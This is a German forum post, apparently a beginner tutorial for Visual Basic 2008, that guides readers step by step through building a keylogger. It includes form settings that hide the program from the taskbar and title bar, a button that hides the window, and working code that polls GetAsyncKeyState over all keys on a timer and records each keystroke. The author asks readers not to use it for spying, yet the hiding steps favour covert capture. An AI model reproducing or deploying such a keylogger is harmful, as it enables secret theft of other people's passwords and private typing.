Zitat

---

!!! Das Programm Basic findet ihr in der Linkliste unter Programme !!!

---

Einführung ...
Visual Basic 2008 ist ein durch die geteilte zusammenarbeit von Grafik und Codierung erleichtertes Programmierungprogramm.


Erstellen eines Projektes
- Starten sie das Programm, als erstes wird ihnen die Startseite präsentiert ...
- in der Startleiste finden sie die Option (neues Projekt erstellen)
- wenn sie doppelt darauf klicken erscheint ein Assistent mit verschiedenen Projekttypen
- wählen sie ein Typ aus und benennen sie ihn nach wunsch ...
- mehr Informationen zu einzelnen Typen fragen sie bitte unter dennis.lau3@googlemail.com ab.
- Ich erläutere ihnen den für mich am wichtigsten Typen, den Anwendungstypen ...
- in den folgenden Threads werde ich ihnen die Anleitung verschiedener Anwendungen präsentieren.
- siehe folgende Threads

1. Anwendung (Keylogger)

Vorwort:
Der Keylogger zeichnet alle Tastenaktivitäten auf, darum empfele und bitte ich euch den (Keylogger) nicht für Spionage zu benutzen.

1. Klickt auf das Fenster am besten oben auf den namen (Form 1)
-geht in den Eigenschaften, sucht den Eintrag (Text) und schreibt im Nebenfeld euern Wunschtitel hinein, ich empfele (Keylogger)
-sucht den Eintrag ShowIn Taskbar geht im Nebenfeld und schreibt false hinein (das Programm wird in der Taskleiste nicht angezeigt)
-sucht den Eintrag ShowIcon geht im Nebenfeld und schreibt false hinein (das Symbol in der Titelleiste wird ausgeblendet)
-sucht den Eintrag MaximizeBox un schreibt im Nebenfeld false hinein (der Maximum Button kann nicht betätigt werden)
-sucht den Eintrag FormBorderStyle und schreibt im Nebenfeld FixedSingle hinein (das heisst die Form kann nicht durch ziehen vergrößert bzw. verkleinert werden)
-sucht den Eintrag Font (Hier könnt ihr eure Texteigenschaften einstellen)
-geht in der Toolbox und zieht eine TextBoxt in die Form hinein
-an der TextBox seht ihr Rechtsoben ein kleines Dreick, drückt darauf und macht ein Häckchen im kästchen neben den Eintrag Multiline
-drückt einmal auf die TextBoxt
-geht wieder in den Eigenschaften und sucht den Eintrag ReadOnly schreibt im Nebenfeld true hinein (in dem Programm kann bei der Ausführtung nicht mehr geschrieben werden)
-sucht den Eintrag ScrollBar schreibt im Nebenfeld Vertical hinein (das Programm erhält rechs am Rand eine Scrollbar)
-sucht den Eintrag Font (Hier könnt ihr eure Texteigenschaften einstellen)
-geht in der ToolBox und sucht den Eintrag Button zieht davon zwei Stück auf eure Form und passt sie euren wünschen nach an
-sucht den Eintrag Timer und klickt doppelt darauf der Timer müsste unter eurer Form erscheinen
-geht auf euren Button 1 und danch auf euren Button 2 und benennt diese in den Eigenschften unter dem Eintrag Text nach euren wunschnamen
-geht in der ToolBox und klickt doppelt aud den Eintrag NotifyIcon

Codes:
Timer Codes
-klickt doppelt auf den Timer 1 (es müsste ein Codefenster erscheinen)
nun gebt ihr folgenden Code ein:

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

-klickt doppelt auf der Form 1 (es müsste das Codefenster erscheinen
nun gebt ihr folgenden Code ein:

Timer1.Start()
-gebt im Codefenster ganz oben unter dem Hauptcode Public Class Form 1 folgenden Code ein ...

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Buttons

Bsp.
Button 1
Name = Notiz
der folgende Code öffnet durch das betätigen des Buttons 1 oder in dem Fall Notiz ein Editor (den Editor kann man dann gut gebrauchen wenn man eine Information schnell mitschreiben möchte)
code = Dim Editor As Long
Editor = Shell("notepad.exe", vbNormalFocus)

Button 2
Name Verstecken
der folgende Code versteckt das Programm
Code = Me.Hide
NotifyIcon1.Visible = true

NotifyIcon (das ist das symbol was unten links in der Taskleiste zu sehen ist, !!! ihr müsst das Image erst in ein Icon umwandeln das Programm dafür findet ihr in der Linkliste unter Programme)
Ihr könnt mithilfe des Programmes jedes beliebige Bild als Icon verwenden
Code = Notiz:
Me.show()
NotifyIcon1.Visible = false